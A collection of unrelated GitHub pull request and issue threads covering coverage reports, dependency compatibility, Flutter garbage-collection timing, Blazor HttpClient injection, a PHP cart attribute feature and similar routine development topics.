Merging #716 (27671e6) into main (f5ef5f5) will increase coverage by 0.00%.
The diff coverage is 90.90%.

@@           Coverage Diff           @@
##             main     #716   +/-   ##
=======================================
  Coverage   88.13%   88.14%
=======================================
  Files          57       57
  Lines        4872     4884   +12
  Branches     1040     1037    -3
=======================================
+ Hits         4294     4305   +11
  Misses        312      312
- Partials      266      267    +1

Impacted Files
Coverage Δ

src/config/base.ts
75.00% <ø> (ø)

src/lib/utilities/static.ts
100.00% <ø> (ø)

src/lib/utilities/dynamic.ts
94.95% <90.10%> (+0.38%)
:arrow_up:

src/plugin/forms/index.ts
100.00% <100.00%> (ø)

src/utils/completions.ts
100.00% <100.00%> (ø)

src/utils/color.ts
74.54% <0.00%> (-3.64%)
:arrow_down:

src/lib/utilities/handler.ts
67.79% <0.00%> (-1.13%)
:arrow_down:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update f5ef5f5...27671e6. Read the comment docs.


chore: remove Swagger routes

We talked about removing Swagger from this repo, so I did that!
Feel free to reject if we actually want to keep these.

Just pushed another change to remove fastify-oas, which I didn't realize was related too. I'll plan to merge if CI passes.

CI failed on a flaky test (see #40). I'm investigating that flakiness now but will merge despite the failure.


Adding plots for AverageGlucoseLevel

From analysis, removing outliers is not a good idea so removing that and adding analysis

AverageGlucose Analysis


[WIP] Adding support for Q&A Agents and environments

Motivation for this:
I want the ability to finetune LLMs on more than just a discrete action space such as Blackjack or other games with a discrete action space. So a few additions were made.

llm_eval.py: since the actions space is basically just text, we need an actual reward system. I've seen similar implementations to this using keyword however I settled on using another (larger)LLM , giving it the task, agent's current state and the goal state and asking it whether the agent is getting closer to the goal state and feedback to the agent. OpenAI function calling/gbnf is used to create structured JSON to generate a numeric reward for a given state
critic_server: this is a llama.cpp server to fill the role as previously mentioned. It uses llama grammars to reliably generate JSON similar to fuction calling. Would recommend using a Larger Model to be the critic. This whole thing is fully optional though and by default OAI API will be used.
-(WIP)  QA Agent & Env: this is agent that will use the llm_eval, its given question from orca-math 200k and asked to solve them

In Progress things:
Also working on the ability from transformer lib LLMs to produce structured JSON similar to llama.cpp. For example, someone could make a strategy game and a gym env and the agent could reliablity place a JSON format to play they game without having to resorting to truncating outputs and all that
Would love to get feed back on all of this

I think this has legitimate uses cases but there's alot of improvements that need to be made especially for the observation space which does seems to work. You could trying using a text observation space but not sure if that would be sampled properly


Compatibility with Mongoid 5

Hi there! I'm using mongoid 5. The gem is not compatible with it. Is anyone actively maintaining this gem or should we look for alternatives?

I'm using this gem, if you can raise a PR for Mongoid 5 compatibility would be great.

@johnnyshields I'm sorry but I have never raised a PR. If you could guide me, I'd be glad to do it. Thanks

@Mohakjuneja there are many guides online for this. Please google.

I've forked the repository but I do not know what changes in the code would solve the compatibility issue. Which file would you suggest me to start? Thank you for your patience.

A start should be to extend https://github.com/tbpro/mongoid_userstamp/blob/master/Gemfile#L5-L12 and https://github.com/tbpro/mongoid_userstamp/blob/master/.travis.yml#L13-L14 to extend the tests to mongoid 5. I have not followed mongoid for a long time as I'm not using mongo in any project anymore, so I don't know what made it incompatible.

MONGOID_VERSION="~> 5.0" bundle exec spec should run the specs with your mongoid version.

So for some reason the created_by_id and updated_by_id attributes are still not being saved along the object after updating the travis.yml and Gemfile.
Can you take a look at this and see what could be the problem?
https://docs.mongodb.org/ecosystem/tutorial/mongoid-installation/

@Mohakjuneja you're going to have to debug this yourself. Please write a test case that reproduces the issue.

+1
Any progress with this

@sahilchopra None at my end. I'll try and publish a test case this week

Thank you!
Right now this Gem is not working with mongoid 5.


Move custom ROM table parsing into vendor impl

I'm not 100% sure this should be specialised to string trees but that was the simplest solution.

We may want to wait with this, I'm not sure. In the end it wouldn't be terrible if probe-rs info started with chip identification and then printed both architecture- and target-specific info.


Updates Contributing instructions

Gemfile no longer needs to be updated
running example app or specs without bundle exec shows Load Error

:+1:


LRA-424-art-survey-static-pages

This PR removes the redundant 'privacy' page. It creates the ability to manage page information via scaffolded PageInformation.
I removed the ability to add a new page as well as delete an existing page. This will make sure the record is persistent.

In static_pages_controller.rb please replace [StaticPage.find_by(location:...] with [PageInformation.find_by(location:...] on lines 4 and 8.

I wanted to capture this idea into a pull request and discuss

How to make it better
Capture it as a RailsPlaybook process that could be repeated

Please continue to review and think about it so we can discuss it.

In the [Edit Page Information] there is a button [New page information] that redirects to the new page.
It should not exist, right?

On the index page [Edit Page Information] I would create links to edit page information for the About and Index pages.     Like in MClassrooms: https://mclassrooms-staging.lsa.umich.edu/announcements

There is some inconsistency in static page names and locations in the page_information table. See StaticPagesController: pages are called index and about; locations - home and about)

Static pages should have links to edit PageInformation.

in home.html.erb on line 3 the link should redirect to a page where you can edit the content of the home page_information (like we had it in VOD). Something like this:
<%= link_to "Edit Info", edit_page_information_path(@home_page_information), class: "#{class_names(active: current_page?(page_informations_path))}" %>
where @home_page_information = PageInformation.find_by(location: "home") if PageInformation.find_by(location: 'home').present?

I want to go back to all page infos and not just the one.

Ok, if you want. But then it would make sense to have a Page Information link which, we decided, we don't need.
Again, I think you make it too complicated, but I know I would not win this argument.


Added redaction examples

Uses Google Cloud Language API for NER and and Facebook Bert model from Hugging Face for concept detection.

Updated examples from enron corpus


Do you need to use JotaiProvider with RenderingBoundary?

I removed usages of JotaiProvider with RenderingBoundary and noticed that our atoms don't update. Do we need to wrap JotaiProvider around the boundary?

nevermind, I noticed in the rendering boundary code it returns a provider to begin with


Direct access to video not working with outside mode

Describe the bug

any video url copy
create new browser tab
paste url and access
playerbar broken

Please inform me of the following situation

URL of the video reproducing the issue
Screenshot or video of the entire screen when the issue occurs
Behavior in Chrome's Incognito mode with no other extensions installed, except for the extension in question

Screenshots
If applicable, add screenshots to help explain your problem.
Desktop (please complete the following information):

Browser＆Version
Arc 1.67.2 (55679)
Chromium Engine Version 130.0.6723.117

Additional context

Hmmm, most likely a conflict with another extension, close.


Oddly timed GC

A customer filed this bug with a trace showing an unexpectedly-timed GC: http://b/178207429
We should examine the trace to see if there's anything we can improve based on it.

@dnfield should this be grouped with the similar issue about the priority of Dart worker threads?

@dnfield should this be grouped with the similar issue about the priority of Dart worker threads?

In particular https://github.com/flutter/flutter/issues/70119 for https://buganizer.corp.google.com/issues/171917546

In particular https://github.com/flutter/flutter/issues/70119 for https://buganizer.corp.google.com/issues/171917546

I think this is the same as the worker thread priority issue.
The thing is, the GC is running concurrently there. It was started during some idle time, but the concurrent workers continued to mark away for hundreds of ms. They're doing heap compaction work in parallel.
I filed https://github.com/flutter/flutter/issues/72387 and https://github.com/flutter/flutter/issues/70636 to try to look at issues related to this.
My preliminary findings are that moving to one worker thread is bad for performance - Dart is able to do some additional optimizations when it uses two threads, and I consistently got slightly worse results (on a more high powered phone than our benchmarks) when using only one thread.
We've had other reports from customers that slightly lowering the priority of the worker threads compared to the UI/Raster thread is beneficial here.

I think this is the same as the worker thread priority issue.
The thing is, the GC is running concurrently there. It was started during some idle time, but the concurrent workers continued to mark away for hundreds of ms. They're doing heap compaction work in parallel.
I filed https://github.com/flutter/flutter/issues/72387 and https://github.com/flutter/flutter/issues/70636 to try to look at issues related to this.
My preliminary findings are that moving to one worker thread is bad for performance - Dart is able to do some additional optimizations when it uses two threads, and I consistently got slightly worse results (on a more high powered phone than our benchmarks) when using only one thread.
We've had other reports from customers that slightly lowering the priority of the worker threads compared to the UI/Raster thread is beneficial here.

Lowering the priority of those threads at least while we're getting a frame ready, assuming we're not in a dire "need to GC now or we're immediately doomed" state, seems like an excellent idea.

Lowering the priority of those threads at least while we're getting a frame ready, assuming we're not in a dire "need to GC now or we're immediately doomed" state, seems like an excellent idea.

For that we really need something like https://github.com/dart-lang/sdk/issues/44228

For that we really need something like https://github.com/dart-lang/sdk/issues/44228

What is the worry here? The concurrent marking is running for ~100ms on two worker threads, it doesn't block anything else, should not cause any user-visible jank or slowdown.

What is the worry here? The concurrent marking is running for ~100ms on two worker threads, it doesn't block anything else, should not cause any user-visible jank or slowdown.

I may be misreading the trace but it looks like it's causing the frame rendering to be descheduled a bit, thus making the frame take longer than usual.

I may be misreading the trace but it looks like it's causing the frame rendering to be descheduled a bit, thus making the frame take longer than usual.

Apologies if this is the wrong place to chip in, but I'm struggling with a freeze for 5-30 seconds in my app (bug report). Every time, I can see the profiler shows a GC and parallel mark running in the UI, and another parallel mark running on a separate Dart Worker. Could there be any kind of race condition?
I don't have the skills to dig deeper into what's happening, and for some reason my CPU profiling is always empty even though I'm doing --profile and connecting to an iOS device.

/cc @rmacnak-google

@tobinharris just saw your comment -- please file new issues when dealing with new problems even if they look very similar to existing problems, it's better to start with separate issues then mark them duplicates of each other than to try to manage multiple problems in one issue.

I'm going to close this in favour of https://github.com/flutter/flutter/issues/89884 which is more actionable.


Ensure HTTP server responds to JSON requests in JSON

It's a bit awkward handling errors client side as text/html when working in the context of machine-to-machine comms via JSON.

Putting aside the re-introduction of the json crate into the codebase that I got rid of a month ago, I think such a code belongs to a utility method of yours, rather than to the core HTTP server. I've never seen such a thing in a generic HTTP server.

Putting aside the re-introduction of the serde_json crate into the codebase that I got rid of a month ago

Sorry!

I think such a code belongs to a utility method of yours, rather than to the core HTTP server. I've never seen such a thing in a generic HTTP server.

Is that possible given that to_native_handler is implemented on the struct itself? How can one override it in the context of an app?

Is that possible given that to_native_handler is implemented on the struct itself? How can one override it in the context of an app?

Of course. All you need to do is wrap your handlers with a middleware, that catches the potential error from the handler, renders it however you want and then returns an OK response to the server. The error handling in the server is a last resort so to say, and it does not use any ESP IDF internals.

Got it. Thanks!


Add files via upload

solicitud de creacuin de universidad

@WESPINEL unadvirtual.txt I am sorry, I have to close the request without merging, because you made a mistake in a request and did not specify any filepath. Please ensure that you are familiar with this repository rules located at the bottom of this page and make a new correct request. Thank you for your understanding!


Missing CoreGraphics import for Swift 5.7.1 / Xcode 14.1

Fixes https://github.com/TokamakUI/Tokamak/issues/527

Hmm, looks like one of the layout tests failed with a timeout...
/Users/runner/work/Tokamak/Tokamak/Tests/TokamakStaticHTMLTests/RenderingTests/LayoutTests.swift:169: error: -[TokamakStaticHTMLTests.LayoutRenderingTests testStacks] : failed - Exceeded timeout of 10.0 seconds waiting for snapshot.


The requested operation is part of an experimental function that is not supported in the current environment.

Category

[ ] Question
[X] Bug
[ ] Enhancement

Observed Behavior
Since yesterday I noticed in the personal page all webparts show me the error:
'The requested operation is part of an experimental function that is not supported in the current environment.'
as far I can see the affects on the webparts:

upcoming meetings
Personal contact
My Tasks
Personal e-mail
Recent documents
Recent Sites

SPFx 1.6.0 was released yesterday. you can review the notes here: https://github.com/SharePoint/sp-dev-docs/wiki/SharePoint-Framework-v1.6-release-notes.
It appears as though they had to roll out a new AAD end point thus permissions will have to be re-granted. Yet at the current time there appears to be a delay in the global roll out. I am seeing similar errors across many tenants.
I expect this to be fixed for everyone soon. @VesaJuvonen is there additional insight you can share at the moment?

Any update on this, it is currently impacting many tenants that we support?

@iainl the issue has been logged over in Microsoft's preferred spot, here as well:
https://github.com/SharePoint/sp-dev-docs/issues/2480

Closing - This is no longer an issue since go live of the SPFx 1.6


Added Range#isLowerBoundClosed and Range#isUpperBoundClosed to test range inclusion

Resolves #204

Thanks for the Pull Request.

👍 happy to

Thanks, I merged it.


Updated Docker and Singularity scripts to use core conda environment

x-ref https://github.com/nf-core/methylseq/pull/29
Tests will fail until https://github.com/nf-core/tools/pull/68 is merged.

Tests passing 🎉


PollNetMapStream: do not create any rows during long-poll operation

[x] read the CONTRIBUTING guidelines
raised a GitHub issue or discussed it on the projects chat beforehand - found existing issues.
added unit tests - testing requires a client, currently only available in integration tests.
] added integration tests
updated documentation if needed - PR contains changes without changes to expected behaviour towards clients or users.
[x] updated CHANGELOG.md

Fixes #232 (manually tested in the no-preauthkeys case)
Related to #93

This looks good to me. @kradalby what is your opinion?

Yep I'm happy to have this, @enoperm do you think it is suitable for merge?

Sorry, haven't had the time to finish up the MR the way I wanted last week. That said, I have thought a bit about it, and ultimately decided I'd rather not add a deployment test for this specific issue unless requested - the original problem looks implementation specific, and unlikely to re-emerge in the future, so long as GORM or ${insert future data storage layer} is used as intended. It sounds a bit like a waste to prolong every CI run by minutes for it.
The changes are not so large that I see it as a requirement of not breaking things, either.

I seem to have messed up a bit when I first tried to merge the current main. so ended up rebase-ing and force pushing. I kindly request a re-review so as to make sure nothing weird happened that I have not noticed, but other than that, it should be okay.

@enoperm Do you mind fixing the prettier lint? I have a PR open to sort the golangci one, so you can ignore that for now.


Variables at same byte offset interfere

Since variables are stored as TextSizes, there's no way to tell the difference between two variables at the same byte offset in different files, which leads to strange errors.

Fixed.


Issue #734: Fix Vagrant 1.8.4 failing to mount NFS synced folders with empty mount_options

@geerlingguy could you test this on Vagrant 1.8.1 or have you already upgraded?

Tested and it also works if I set mount_options: ['vers=3', 'udp'] which is what vagrant does on linux guests.

I'm still on 1.8.1 for now, so I'll test there.

Worked! I'm going to tag another bugfix release so those using Vagrant 1.8.3+ don't hit this.


UseClusterPercentage values not documented

Should document the possible values.  1 = Percentage, 2 = Number of Machines , 3 = Specific Order

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: afb307a0-90fb-8e75-736a-93b0f9efbfc0
Version Independent ID: cab921d4-db16-d217-a29d-449508170674
Content: SMS_CollectionSettings Class - Configuration Manager
Content Source: sccm/develop/reference/core/clients/collections/sms_collectionsettings-server-wmi-class.md
Product: configuration-manager
GitHub Login: @aczechowski
Microsoft Alias: aaroncz

I will make an attempt. ;)
Levi Stevens
425-941-0602
On Nov 29, 2018, at 1:26 PM, Aaron Czechowski <notifications<EMAIL_ADDRESS>wrote:
Thanks @LeviStevenshttps://eur01.safelinks.protection.outlook.com/?url=https%3A%2F%2Fgithub.com%2FLeviStevens&data=02|01||a72a8c6f883a48408fc308d656415f00|84df9e7fe9f640afb435aaaaaaaaaaaa|1|0|636791236091542659&sdata=vKOYxLUozXTcewB0Yc2P2Qvz51Xqlf95AeTOUBMkivg%3D&reserved=0 for the feedback. To which property are you referring?
Also, if you're willing and interested in submitting this yourself, I'm happy to review and help. For more information, see How to contributehttps://eur01.safelinks.protection.outlook.com/?url=https%3A%2F%2Fdocs.microsoft.com%2Fsccm%2Fcore%2Funderstand%2Fuse-docs%23bkmk_contribute&data=02|01||a72a8c6f883a48408fc308d656415f00|84df9e7fe9f640afb435aaaaaaaaaaaa|1|0|636791236091542659&sdata=Vcttfu%2BWq7ncpqVExhK7QuhHR8za6ma1oH7QHXbh8PM%3D&reserved=0.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHubhttps://eur01.safelinks.protection.outlook.com/?url=https%3A%2F%2Fgithub.com%2FMicrosoftDocs%2FSCCMdocs%2Fissues%2F1049%23issuecomment-442999099&data=02|01||a72a8c6f883a48408fc308d656415f00|84df9e7fe9f640afb435aaaaaaaaaaaa|1|0|636791236091542659&sdata=4e%2FmebgR7%2BgR0MIOAuLlRV8QYgTZK5CnZ12LD0X9%2FD0%3D&reserved=0, or mute the threadhttps://eur01.safelinks.protection.outlook.com/?url=https%3A%2F%2Fgithub.com%2Fnotifications%2Funsubscribe-auth%2FAkhcqO0BCD1C7I3XKFYPRprefbg3wqyGks5u0FEXgaJpZM4Y4Ofs&data=02|01||a72a8c6f883a48408fc308d656415f00|84df9e7fe9f640afb435aaaaaaaaaaaa|1|0|636791236091542659&sdata=L6MIaRJHQkwN0USE5qYBL1RRxwPOGE7iKYHWN4OQUuQ%3D&reserved=0.

Thanks again for the feedback. We recently moved this content to a new GitHub repository, so this issue is no longer tracked with the original article. As part of that process, we reviewed our backlog of feedback, and made some tough decisions on items that we don't think we'll realistically ever address. If you're passionate about this specific feedback, please refile it on the current article, now under docs.microsoft.com/mem/configmgr.
I'm also wondering if these properties are deprecated with the introduction of orchestration groups


Remove any pep8 error from Course 3 and 4

Can you give me further details on what you mean "Remove pep8 errors"? Do you mean format files in the courses to pep8?

See PR #10 for Course 3

PR #15 for Course 4


Razor Component Server Side : Inject HttpClient in service broke entire application

Describe the bug
When I try to inject HttpClient in a service, then  inject the service in a page, it's broke the rendering (blank page, no error in browser console)
To Reproduce
1 : Create a Razor Components project, with .net core 3 preview and Visual studio 2019. It create normally two project *.App and *.Server
2 : launch application, everything is OK
3 : Update the WeatherForecastService to inject HttpClient in the constructor (in the App project)
public WeatherForecastService(HttpClient httpClient) {        }
4 : Inject the service in the index.cshtml (in the App project)
@inject WeatherForecastService ForecastService
5 : launch the application. It's result in a blanck screen without errors
Expected behavior
an application wich works, or at least an exception on why it can't be possible
Additional context
I read the HttpClient is not natively registered in the server side razor. so i tried registred one in the startup.cs with this piece of code find somewhere. It's seem changing nothing
 if (!services.Any(x => x.ServiceType == typeof(HttpClient)))             {                 // Setup HttpClient for server side in a client side compatible fashion                 services.AddScoped<HttpClient>(s =>                 {                     // Creating the URI helper needs to wait until the JS Runtime is initialized, so defer it.                     var uriHelper = s.GetRequiredService<IUriHelper>();                     return new HttpClient                     {                         BaseAddress = new Uri(uriHelper.GetBaseUri())                     };                 });             }

I cannot reproduce your error. Your code is running without issues on my side (Razor Components 0.8, .Net Core 3.0 Preview 2, VS 2019).
It's hard to find your issue without seeing some more code, so please share your solution.
Are you able to find out at which point your code fails? Try debugging with Visual Studio.
However, it's enough to register the HttpClient with services.AddScoped<HttpClient>(); in ConfigureServices.

To reproduce this error, there is no really code, just create an empty SERVERSIDE razor project and follow the step to reproduce. (I precise server-side because you speak about 0.8 version, however with server side razor components there is no dependency to 0.8 library)
I have only these dependencies in the App Project (front project on server Side)

AspNetCore.Components.Browser 3.0.0-preview-19075-0444
AspNetCore.Components.Build 3.0.0-preview-19075-0444

Honestly, I'm really surprised about the complexity to switch my client-side project to server side, its seem really more difficult compare to what peope say with older version (the type of project are different : console/library, the wwwroot is not in the same project, the dependecy off the App project are different, and now the HttpClient who seem not work on the server side).
I test actually inject an IHttpClientFactory instead

Inside the App project,
You should have
    <PackageReference Include="Microsoft.AspNetCore.Blazor" Version="0.8.0-preview-19104-04" />
    <PackageReference Include="Microsoft.AspNetCore.Components.Build" Version="3.0.0-preview-19075-0444" />

Inside the server project,
    <PackageReference Include="Microsoft.AspNetCore.Blazor.Server" Version="0.8.0-preview-19104-04" />
    <PackageReference Include="Microsoft.AspNetCore.Components.Server" Version="3.0.0-preview-19075-0444" />

(Optional)     <PackageReference Include="Microsoft.AspNetCore.Mvc.NewtonsoftJson" Version="3.0.0-preview-19075-0444" />

@darren-zdc i'm not agree, with the last framework (.net core 3 preview), when you create a razor component  project, there is no dependency to something like blazor. Try yourself, create a new razor component project in your visual studio (but maybe there is something i don't understand).
Server :

AspNetCore.Components.Server 3.0.0-preview-19075-0444

App:

AspNetCore.Components.Browser 3.0.0-preview-19075-0444
AspNetCore.Components.Build 3.0.0-preview-19075-0444

I still not understand good how i can design a server side razor component application. There is a lack of documentation, example, tutorial, for exemple how to manage data from server, manage authentication, things like that.
With client side (web assembly), I don't have this kind of problem (client and server are clearly separate, I can reproduce architecture i have i angular application for example).
but i definitively not understand how structure my application. With the client-side version of blazor, i called a rest login service which create a JWT and return them to the client. with the server side, it seem weird to call a web service whereas i'm already on the server)
If someone have a good example i can read and understand i take it ! (with the last version of course).
PS : I finally solve my problem by injecting an IHttpClientFactory in my service and register with services.AddHttpClient(); in Startup.

Maybe you can look at here
They explain how to convert a client blazor to server blazor

I already migrate my application, it's not really the problem.
It's more the philosophy of server side components i don't understand. For example:
design of my actual client side blazor application
Server :

render the app project (blazor)
expose some api controller called by the App project, including authentication. In my case the controllers calls Wcf services hosted by another server

Client (App) :

Hierarchy of component to create the entire webSite
some services, called by the components, wich call the api controller of the server. the services also add to the header the JWT if the user is connected.

For me, this kind of design is really clear, it was really simple to do that with blazor.
Now i really need to debug with efficiency my application because I retrieve like a hundred thousand of line of code (c# models and silverlight ViewModels adapted to work with no dependency), My project is to rewrite a silverlight application without rewriting the business code because the silverlight application will continue evolve during my development and the code is really complicated, so the two project (the old silverlight and my new Blazor app) will share the same code until the end of the migration (wich can be at least one year).
so I decided to switch to razor components to debug the viewModel included in my blazor app.
but now, there is lot of things i don't know how to design.

I'm really surprised to not find good example of a project on razor component (except the classic project with a button wich increment an integer, but this exemple is definitively too simple).
I don't know if i am the only who block on the server-side logic....
definitively  a good example will be welcoming (for example, migrate the flightFinder project in the last server side razor components with the good guidelines of design)

I already migrate my application, it's not really the problem.
It's more the philosophy of server side components i don't understand. For example:
design of my actual client side blazor application
Server :
* render the app project (blazor)

* expose some api controller called by the App project, including authentication. In my case the controllers calls Wcf services hosted by another server

Client (App) :
* Hierarchy of component to create the entire webSite

* some services, called by the components, wich call the api controller of the server. the services also add to the header the JWT if the user is connected.

For me, this kind of design is really clear, it was really simple to do that with blazor.
Now i really need to debug with efficiency my application because I retrieve like a hundred thousand of line of code (c# models and silverlight ViewModels adapted to work with no dependency), My project is to rewrite a silverlight application without rewriting the business code because the silverlight application will continue evolve during my development and the code is really complicated, so the two project (the old silverlight and my new Blazor app) will share the same code until the end of the migration (wich can be at least one year).
so I decided to switch to razor components to debug the viewModel included in my blazor app.
but now, there is lot of things i don't know how to design.

I'm really surprised to not find good example of a project on razor component (except the classic project with a button wich increment an integer, but this exemple is definitively too simple).
I don't know if i am the only who block on the server-side logic....
definitively a good example will be welcoming (for example, migrate the flightFinder project in the last server side razor components with the good guidelines of design)

Agree with you buddy. They say Razor Components is no longer experimental (on the contrary to Blazor) but in my opinion they are doing a lot more breaking changes to Razor Components between different preview versions than they were doing between Blazor minor versions. For example in Preview 3 the app and server are now in one project and the routing pipeline has changed which for example broke MVC/API controllers in lot of libraries etc.

The original issue described by this bug appears to now provide a much better error:

As for the design question, you are correct that there is no point in calling into an API hosted on the server when running a server-side Blazor app. Instead you can inject services into your components that access server-side resources directly. To maintain symmetry with client-side Blazor you can inject different implementations of the service interface that either call APIs or access server-side resources as appropriate for the given environment.
Closing as there doesn't appear to be anything else to do here.


Add various node version to travis build

@rprieto
Add node versions to travis build
Move performance test into a separate folder
This was done to exclude it from being instrumented in the code coverage tests
The instrumenting that istanbul does makes the performance tests skewed and also causes the tests to timeout and fail

Good idea! :shipit:


EOS-28075 - cortx-client Helm implementation updates

Signed-off-by: Rick Osowski<EMAIL_ADDRESS>Based on discussion in EOS-28075 and updates in the cortx-test branch here, these changes should be all-encompassing for the cortx-client requirements:

Adding cortx-client Helm deployments when specified in solution.yaml
Updating ConfigMaps with appropriate cortx-client endpoints & metadata
Updating deploy/undeploy scripts for additional elements being deployed/cleaned up.

Looks good as far as I can tell. If you want to make Codacy happy, I'd suggest doing that, otherwise, I can fix it later when I address all the others.

Since we know a lot of this will be changing soon, I'd rather try to make that happen in one swoop instead of piecing it out across all PRs since that will make our merges that much more difficult.


The flag called 'Disable Thorium Top Bar Icons' doesn't work properly.

System Details

OS: Windows 10
Thorium Version: Version 124.0.6367.218 (Official Build) (64-bit)

Problem
Even after enabling the flag called 'Disable Thorium Top Bar Icons' some of the icons are still colorful which include 'Stop loading this page' icon, Extensions icon, Close icon, Incognito icon and so on.
Screenshots

Thanks in advance.

This is intentional @

Maybe add an option for the flag to disable it for all icons? Like "Enable", "Disable", "Disable all".

It looks kind of ugly.

This is intentional
It looks kind of ugly.

@rakincw @ottozumkeller I wanna make it disable color on ALL of the top bar icons and the icons in the main menu
However, secondary icons like incognito and "chevron" icons will be left alone. Its because for each icon I want to add to the flag, I have to make a copy of the icon without color, and then add the source code file that manages that icon and add an "if else" statement for the flag. Doing this for all the icons that thorium modifies would be too much work, so I'm mainly concerned about the prominent ones that people see all the time when using the browser.
Also, specificially about the incognito one, I find it useful because if I have a bunch of windows open and a few incognito windows open, it makes it alot easier to identify on either Windows or Ubuntu because I can toggle "overview" mode and it is easy to distinguish the bright red. Otherwise it is hard to tell which is which without manually cycling through all your Thorium windows. And in my case, I am a browser "hypertasker" (which really just means I'm lazy at closing tabs lolol), so I often have up to 10 or more windows open, so it gets annoying.

Why not just redo the design and create an monochrome. Also, remember browser have themes that modify the color of the browser. Some of color you choose could conflict with the rest color of the UI and being unreadable.
Also, for incognito, purple in monet style could be a nice fit, firefox and other browser use purple pallets to define incognito mode.
I recommend you to look at MD3 with the color pallets to know more, since Chromium is based on this model now.
https://m3.material.io/
Also, maybe if you can code better, just get inspiration of Firefox and seperate incognito window from the main openned app. This could be a nice start to determinate which one is real incognito.
There an example with Zen Browser based on Firefox fork.

Yes i have to clean-up my taskbar lol.


[Product Partnerships] Adding quickstart for aws rekognition

Summary
A concise description of the changes being introduced. Please review the pre-merge checklist section to validate this pull request is ready for review and merge. If it is not ready, please mark the pull request as a draft.
The owners of this repo are not experts in the subject matter of the quickstarts. We review for the quickstart to be functional and for security risks. If you are seeking feedback on the content of the quickstart, please seek out a subject matter expert. If you are not an internal NR contributor, we can do our best to connect you with a content reviewer.

Pre merge checklist

[X] Did you check you NRQL syntax? - Does it work?
[X] Did you include a Data source and Documentation reference?
[X] Are all documentation links publicly accessible?
[X] Did you check your descriptive content for voice and tone?
[X] Did you check your descriptive content for spelling and grammar errors?
[X] Did you review your content with a subject matter expert? (e.g. a Browser agent quickstart is reviewed with a member of the Browser Agent team)

Dashboards

[X] Does the PR contain a screenshot for each of your dashboards?
[X] Do your screenshots show data?
[X] Has the sanitization script been run on each dashboard?

Alerts

[X] Did you check that your alerts actually work?

Great work here Aarushi, just some minor language tweaks that I've suggested.

Thanks @seemantk  for the review. I have incorporated the suggestions. Please check.


Update dev_server console message to direct to the ddc_bundle.html file

The message that is printed to the console: Server running on localhost:8080 should also include information about how the html entry point has been rewritten and provide dev url.

This means forwarding some info from the dart_ddc_bundle rule to the dev_server rule. This could be done via a provider, but since the dev_server rule is just a macro it doesn't have access to those providers (its just a wrapper around dart_vm_binary).
Because of that I don't see a quick path to supporting this, other than making users hardcode the path to the bundled html file in their dev_server rule or something :(.

Ok I think we can effectively fix this in a similar way to https://github.com/dart-lang/rules_dart/issues/44, in addition to some changes to bazelify.
Essentially, we can add a uri-substitution argument to the server, which is by some new middleware to modify all request uris via replaceFirst. For this case we would provide a substitution from web/{bundle} to web/${original}. For the packages dir case we would provide a substitution value for each package, from packages/${packageName} to the actual path relative to $RUNFILES/$WORKSPACE_NAME (where the server serves from).

This is resolved now I think, you can just load the original input url path and it will actually load the ddc output html.


Additional parameters passed in addItem are not being saved

Environment: Laravel 5.5.39
Standalone: vanila/cart: 0.2
Code:
        $product = \App\Models\Banner::find(1);
        \Cart::addItem($product, 1, ['width' => 123, 'height' => 12]);
There is no column in the cart_item table to store the additional parameters.

0.3 is coming on this Sunday (March 18), this fix will be released with that.

@danishjamil Does the $product have width and height attributes?

@fulopattila122 width and height attributes were just an example and am implementing the Buyable Interface on a custom model.
Is it possible for you bump the "Product Options & Variants" feature to 0.4.

I'm asking because I see at least two ways to do this:
1. Passing Attributes Manually
just pass the extra attributes all the time manually:
Cart::addItem($product, 1, [ 'attrs' => ['width' => 123, 'height' => 12]]);

In this case any key/value under attrs would be added to CartItem as an attribute.
2. Auto Merging Extra Attributes
Using this approach you could configure the extra attributes of Buyables that the cart keeps adding to cart items.
E.g.:
config/vanilo.php:
//...
    'cart' => [
        'items' => [
            'auto_copy_attributes' => ['width', 'height']
        ]
    ]
//...

This way you could just pass you product:
Cart::addItem($product);

and the attributes specified in config would be automatically copied from the product to the cart item.
I think both makes sense and can be used arbitrarily, even together.

@fulopattila122 I would rather keep it at the model and/or at the Cart::addItem level instead of setting the copying attributes of  at the global level.
Because its not necessary that every Buyable Model (product) will have the attributes defined in the config file e.g. Digital Goods.

@danishjamil I've implemented both variants, so you can freely choose to use either/both/none solutions. Usage has been described in readme: https://github.com/vanilophp/cart/#setting-custom-item-attributes


Interop quickstart: updated next steps

@ashwinder : Thanks for your contribution! The author(s) have been notified to review your proposed change.

@ashwinder : Thanks for your contribution! The author(s) have been notified to review your proposed change.

Hello @ashwinder - This pull request was opened in the public repo. PMs should work in the private repo, per the Microsoft Docs contributor guide. Would you make this content update in the private repo instead? Thank you! We'll close this PR.

Hello @ashwinder - This pull request was opened in the public repo. PMs should work in the private repo, per the Microsoft Docs contributor guide. Would you make this content update in the private repo instead? Thank you! We'll close this PR.


[FEAT]WorkPro:怎么发送小程序卡片啊

Please make sure you have read the Wechaty Puppet Service: WorkPro from Wechaty Official Website before you continue writing this issue.
IMPORTANT
DO NOT post your token in the issue. If we need to investigate the behavior of certain token, we will provide a private contact route.
Is your feature request related to a problem? Please describe.
A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]
Describe the solution you'd like
A clear and concise description of what you want to happen.
Describe alternatives you've considered
A clear and concise description of any alternative solutions or features you've considered.
Additional context
Add any other context or screenshots about the feature request here.

你可以参考下这个PR中message相关的示例：https://github.com/wechaty/docusaurus/pull/1520

暂无反馈，关闭该issue。


Get referenced assemblies

Where do we now get referenced assemblies from an ASP.Net MVC project?
System.Reflection.Assembly is empty.
I need to find all references in my project so I can search them for implementations of a specific type

Here's an example https://github.com/aspnet/Mvc/blob/dev/src/Microsoft.AspNet.Mvc.Core/Infrastructure/DefaultAssemblyProvider.cs#L13

Looks like that just gets Mvc references. I need references to say my own class libraries that are added as references, like normal .Net Assembly.GetReferencedAssemblies used to do.

@angelsix Sure but look at the code itself, not the fact that it's getting MVC references. Look at how it's doing it.

Its a static list of assemblies. It loads them but the original part to get those strings in the first place isnt in there.
The only thing I can see doing anything dynamic would be _libraryManager, which is an interface that isnt provided there.

I have a web project, I add a reference to say MyProject.Core which is a class library. Inside ConfigureServices I want to find all references, one of which should be the string full path I can pass to create an Assembly object for MyProject.Core so I can reflect it

Its a static list of assemblies. It loads them but the original part to get those strings in the first place isnt in there.

